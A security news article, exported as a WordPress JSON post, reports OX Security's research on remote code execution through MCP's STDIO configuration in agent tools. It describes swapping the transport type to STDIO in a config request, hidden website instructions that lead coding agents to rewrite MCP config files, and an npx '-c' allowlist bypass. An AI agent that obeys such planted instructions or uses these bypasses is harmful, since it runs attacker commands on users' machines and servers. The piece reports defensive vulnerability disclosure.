{"id":16107,"date":"2026-04-16T22:16:13","date_gmt":"2026-04-16T22:16:13","guid":{"rendered":"https:\/\/newestek.com\/?p=16107"},"modified":"2026-04-16T22:16:13","modified_gmt":"2026-04-16T22:16:13","slug":"rce-by-design-mcp-architectural-choice-haunts-ai-agent-ecosystem","status":"publish","type":"post","link":"https:\/\/newestek.com\/?p=16107","title":{"rendered":"RCE by design: MCP architectural choice haunts AI agent ecosystem"},"content":{"rendered":"
\n
\n
\n
\n
\n
\n
<\/div>\n<\/section>\n

AI agent building tools enable users to configure Model Context Protocol (MCP) servers may be exposing systems to remote code execution due to an architectural decision in Anthropic\u2019s reference implementation.<\/p>\n

At issue are unsafe defaults in how MCP configuration works over the STDIO interface, with broad implications for the agent ecosystem, according to a new report.<\/p>\n

\u201cThe blast radius is massive,\u201d researchers from application security firm OX Security wrote in their report on the design issue<\/a>. \u201cThis exploit allowed us to directly execute commands on six official services of real companies with real paying customers, and to take over thousands of public servers spanning over 200 popular open-source GitHub projects with hundreds of millions of downloads.\u201d<\/p>\n

According to Anthropic and other MCP adapter developers, the STDIO command execution behavior is by design and the responsibility of sanitizing MCP configurations falls with developers of client applications. While this might be true, in practice OX Security found that few developers have attempted to filter commands in MCP configs and even those who did failed to catch all potential bypasses.<\/p>\n

The root of the issue<\/h2>\n

MCP provides a standardized method for applications to expose data sources and tools to LLMs, improving their context and effectiveness in completing automated workflows. Originally developed by Anthropic, MCP has become a widely adopted technology in the agentic AI space.<\/p>\n

Anthropic provides reference MCP implementations in the form of SDKs for a variety of programming languages, including TypeScript, Python, Java, Kotlin, C#, Go, PHP, Ruby, Rust, and Swift. Furthermore, other frameworks and functionality providers \u2014 such as FastMCP, LangChain\u2019s mcp-adapters, Microsoft\u2019s agent-framework, mcp-agent, browser-use, Amazon\u2019s run-model-context-protocol-servers-with-aws-lambda, and NVIDIA\u2019s NeMo-Agent-Toolkit \u2014 have Anthropic\u2019s modelcontextprotocol reference implementation as a dependency.<\/p>\n

MCP supports two transport interfaces between servers and clients: Streamable HTTP with Server-Sent Events (SSE), which is typically used for remote MCP servers and web services, and Standard Input\/Output (STDIO), for MCP servers and applications that run locally on the same machine.<\/p>\n

With STDIO, client applications can start MCP servers on demand as a subprocess and pass parameters to them. These parameters can include custom commands that get executed on the system with the permissions of the parent process. While in theory these commands are meant to tell the SDK\u2019s StdioServerParameters function how to start the MCP server, they can technically be anything if no filtering is in place.<\/p>\n

The OX Security researchers consider this a design flaw that should be mitigated, but Anthropic disagrees, as do the creators of other frameworks that enable MCP functionality, such as LangChain and FastMCP. The argument is that the responsibility for making sure malicious user input doesn\u2019t reach the SDK\u2019s command execution function resides with the developers of the client applications that integrate these MCP frameworks.<\/p>\n

\u201cThe pattern of allowing user-supplied strings to flow directly into a shell execution environment is an anti-pattern that should be deprecated,\u201d the OX Security researchers said. Anthropic\u2019s SDKs should implement a command allowlist by default that blocks sh<\/code>, bash<\/code>, powershell<\/code>, curl<\/code>, rm<\/code>, and other high-risk binaries, they added.<\/p>\n

The core issue is that there\u2019s currently no check in place to verify that a STDIO command is intended to initialize an MCP server rather than perform a malicious task. Furthermore, the researchers observed that even if the sent command fails to start the server, the SDK returns an error after the command has already been executed.<\/p>\n

All modern IDEs such as VS Code, Cursor, and Windsurf, as well as agentic coding CLIs like Claude Code, OpenAI Codex, and Gemini CLI, have built-in support for local MCP servers over STDIO. But so do countless other agentic AI frameworks and open-source tools and few of them implement STDIO command allow lists.<\/p>\n

RCE in real-world applications<\/h2>\n

The OX Security researchers have spent the past few months testing MCP support in numerous tools, including live production services. They found and reported more than 30 RCE issues<\/a> stemming from this STDIO design decision to multiple projects and 10 have received CVE IDs so far.<\/p>\n

Depending on how a tool implements MCP support and how it accepts user input, there are multiple attack vectors that exploit the lack of STDIO command filtering.<\/p>\n

For example, some services and tools have not disabled STDIO internally even though their user interfaces only allow configuring MCP servers with Streamable HTTP. This was the case for Letta AI and DocsGPT, two platforms that enable companies to create AI agents via both cloud services and local deployments.<\/p>\n

\u201cAn attacker crafting a network request for an MCP server configuration, and changing the transport type in the configured JSON to contain an STDIO type instead of SSE or HTTP, also adding an arbitrary command to the request\u2019s payload, can achieve remote command execution,\u201d the researchers said.<\/p>\n

Another attack vector is prompt injection leading to malicious MCP configurations. While all IDEs are technically vulnerable to this \u2014 websites may contain hidden instructions for LLM agents to modify local files \u2014 most IDEs prompt users before making modifications to MCP configuration files. The exception was Windsurf, which directly modified the MCP config by default, resulting in a zero-interaction command injection attack.<\/p>\n

Many other tools don\u2019t apply filtering to MCP STDIO parameters, meaning any user with access to configure an MCP server gains code execution on the underlying server, including production servers in the case of SaaS deployments. Tools found vulnerable to this include LangFlow, GPT Researcher, LiteLLM, Agent Zero, LangBot, Fay Digital Human Framework, Bisheng, Jaaz, Langchain-Chatchat, and several others the researchers are not yet able to disclose.<\/p>\n

Some developers were aware of the issue and did attempt to harden their implementations with command whitelisting. However, the hardening was insufficient, and the OX Security researchers found simple bypasses.<\/p>\n

For example, Upsonic, an open-source framework for building AI agents, implements an allowlist that includes npx<\/code>, which supports -c<\/code> (\u2014call<\/code>), a flag that allows custom commands and shell scripts to be passed for npx<\/code> to execute. The same bypass was observed in Flowise, another UI-based AI agent building framework that also restricts MCP configuration commands but allows npx<\/code>.<\/p>\n

Anthropic (modelcontextprotocol), LangChain (langchain-mcp-adapters), FastMCP, the browser-use project, AWS (run-model-context-protocol-servers-with-aws-lambda), NVIDIA (NeMo-Agent-Toolkit), OpenHands, PromptFoo, Firebase Studio, Gemini CLI, Claude Code, GitHub Copilot, and Cursor technically include the MCP STDIO code that allows for arbitrary command execution.<\/p>\n

Their maitainers consider the command execution intended behavior or have declined to fix it because it is mitigated by other controls such as modifications requiring user interaction or the command execution happening inside sandboxed environments like Docker containers.<\/p>\n

See also: <\/p>\n